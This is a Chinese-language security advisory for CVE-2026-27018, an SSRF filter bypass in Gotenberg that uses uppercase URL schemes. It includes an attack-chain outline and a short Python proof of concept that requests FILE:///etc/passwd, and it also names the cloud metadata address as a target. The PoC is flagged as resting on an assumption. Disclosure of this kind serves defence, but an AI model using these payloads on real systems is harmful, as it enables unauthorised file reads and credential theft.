IPBUF安全漏洞报告
English
CVE-2026-27018 CVSS 7.5 高危

CVE-2026-27018 Gotenberg URL方案过滤绕过漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-27018
漏洞类型
SSRF
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

SSRFGotenberg绕过信息泄露CVE-2026-27018

漏洞概述

Gotenberg是一个用于转换文档格式的API。在8.29.0版本之前,针对CVE-2024-21527的修复方案存在逻辑缺陷。攻击者可以通过使用混合大小写或大写的URL方案(如FILE://)来绕过安全过滤。该漏洞可能导致服务端请求伪造(SSRF),造成敏感信息泄露。CVSS评分为7.5,属于高危漏洞,建议尽快升级。

技术细节

该漏洞源于Gotenberg对URL方案(Scheme)的过滤机制存在大小写敏感性问题。开发者在修复CVE-2024-21527时,可能仅拦截了小写的内网协议头(如file://),但未考虑到URL解析器通常将协议头视为大小写不敏感。攻击者可以通过构造包含大写字母的URL(例如FILE:///etc/passwd或HTTP://169.254.169.254/latest/meta-data/),欺骗过滤层允许请求通过。后端服务接收到请求后,会将大写方案标准化为小写并执行请求,从而绕过安全检查,访问内网资源或本地文件系统,导致信息泄露。

攻击链分析

STEP 1
侦查
攻击者发现目标使用了Gotenberg服务,且版本低于8.29.0。
STEP 2
构造Payload
攻击者构造包含大写字母URL方案的恶意请求,例如使用FILE://代替file://。
STEP 3
发送请求
攻击者向Gotenberg API发送包含恶意URL的转换请求。
STEP 4
绕过过滤
由于过滤层未识别大写方案,请求被放行,后端解析器将其解析为本地文件请求。
STEP 5
获取数据
服务器读取敏感文件(如/etc/passwd)或访问内网服务,并将结果返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(target_url): # Target endpoint for conversion endpoint = f"{target_url}/forms/libreoffice/convert" # Payload attempting to read local file using uppercase scheme # Assuming the server blocks 'file://' but not 'FILE://' data = { "url": "FILE:///etc/passwd" } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! Local file read successful.") print(response.text[:200]) else: print("[-] Vulnerability not detected or payload blocked.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target check_vulnerability("http://localhost:3000")

影响范围

Gotenberg < 8.29.0

防御指南

临时缓解措施
如果无法立即升级,建议在应用网关或反向代理层添加规则,强制标准化URL Scheme为小写,并明确拒绝包含大写字母的协议头(如FILE, FTP, GOPHER等),仅允许http和https。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表